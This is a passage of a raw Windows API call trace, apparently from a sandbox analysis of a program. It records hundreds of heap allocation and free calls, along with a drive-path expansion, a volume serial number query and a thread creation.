hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a928, Size=0x20) returned 0x71e958 [0270.964] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x737f08, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0270.964] lstrlenW (lpString="C:\\") returned 3 [0270.965] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.965] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737f08 | out: hHeap=0x6e0000) returned 1 [0270.965] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71eff8, Size=0x82) returned 0x724a90 [0270.965] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f0c8, Size=0x100) returned 0x724b20 [0270.965] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a90, Size=0x104) returned 0x724d48 [0270.966] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724b20, Size=0x200) returned 0x737f08 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f0d8 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737f08 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a8b0 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726c68 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a7d8 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726828 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aa48 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724d48 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a9a0 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724c28 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a970 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724cb8 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aa00 | out: hHeap=0x6e0000) returned 1 [0270.967] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a970, Size=0x20) returned 0x71e610 [0270.967] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e610, Size=0x40) returned 0x6f8488 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f118 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a928 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a940 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726be0 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a880 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f0b8 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aa18 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f6730 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7280 | out: hHeap=0x6e0000) returned 1 [0270.967] lstrlenW (lpString="%systemdrive%") returned 13 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e958 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726cf0 | out: hHeap=0x6e0000) returned 1 [0270.967] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71efe8 | out: hHeap=0x6e0000) returned 1 [0270.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x727ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10014) returned 0x74af38 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x74a988 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a988, Size=0x20) returned 0x71e778 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e778, Size=0x40) returned 0x6f8710 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8710, Size=0x80) returned 0x727020 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x727020, Size=0x100) returned 0x724a00 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x200) returned 0x724a00 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x400) returned 0x724a00 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x800) returned 0x739f10 [0270.968] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x739f10, Size=0x1000) returned 0x739f10 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x75af58 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x74a7a8 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x74a8b0 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71f0b8 [0270.968] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x74a940 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71f0d8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a928 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f0b8, Size=0x8) returned 0x71f0e8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a7d8 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f0e8, Size=0x10) returned 0x74a970 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a7f0 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a988 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a970, Size=0x20) returned 0x71e728 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a970 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f138 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74a838 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74a850 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e728, Size=0x40) returned 0x6f8518 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74aa00 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74a9a0 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74a9b8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x74a9d0 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74aa18 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a880 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f0b8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74aa48 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8518, Size=0x80) returned 0x726580 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a760 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a778 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x74a790 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bbe8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd08 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76bdb0 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd20 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f128 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76be70 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bc90 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76be88 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bca8 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76bd98 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bc00 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76bba0 [0270.969] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bdc8 [0270.969] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726580, Size=0x100) returned 0x73b048 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76be28 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bcd8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd68 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x76be40 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76be58 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bde0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f0e8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bdf8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd38 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76be10 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x71efe8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bcc0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd50 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f0f8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bcf0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bd80 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76bbb8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bbd0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bc18 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bc30 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x76bc48 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bc60 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x76bc78 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bed0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bf30 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bf48 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bee8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f108 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bf18 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bea0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bf00 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76beb8 [0270.970] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73b048, Size=0x200) returned 0x724a00 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b258 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71f118 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76afe8 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76afa0 [0270.970] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b198 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b0d8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b270 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b1c8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b120 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76afb8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b078 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b288 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76afd0 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b018 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b138 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b108 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b090 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b000 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b0f0 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b0a8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b0c0 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b180 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b030 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ef78 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b150 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b048 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b060 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71efa8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b1e0 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b1b0 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b168 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b210 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b1f8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b228 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b240 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b570 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b3a8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b480 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b330 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b420 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b3d8 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b408 [0270.971] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b528 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b2e8 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b2a0 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b318 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b300 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b2b8 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b4f8 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71eff8 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x71ef08 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b588 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b348 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b468 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b498 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b360 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b2d0 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b3c0 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b378 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b4b0 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b3f0 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b390 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b438 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b540 [0270.972] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x400) returned 0x724a00 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b450 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b4c8 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b510 [0270.972] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b4e0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b558 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b828 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b738 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b750 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b7b0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b7e0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x73c0b0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b888 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b768 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b5a0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b6a8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b7c8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b5e8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x76b7f8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b6d8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b5b8 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b678 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b798 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b690 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b810 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b720 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b840 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x73c0f0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b858 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b6c0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b870 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b600 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b5d0 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b630 [0270.973] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b618 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b6f0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b708 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x76b648 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b660 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x76b780 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b8b8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba50 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba20 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b8e8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b978 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x76b9a8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b9c0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb28 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b9d8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb88 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba38 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b900 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba68 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b8d0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b960 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b9f0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba08 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba80 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76ba98 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bab0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bac8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bae0 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76baf8 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x76b918 [0270.974] RtlAllocateHeap 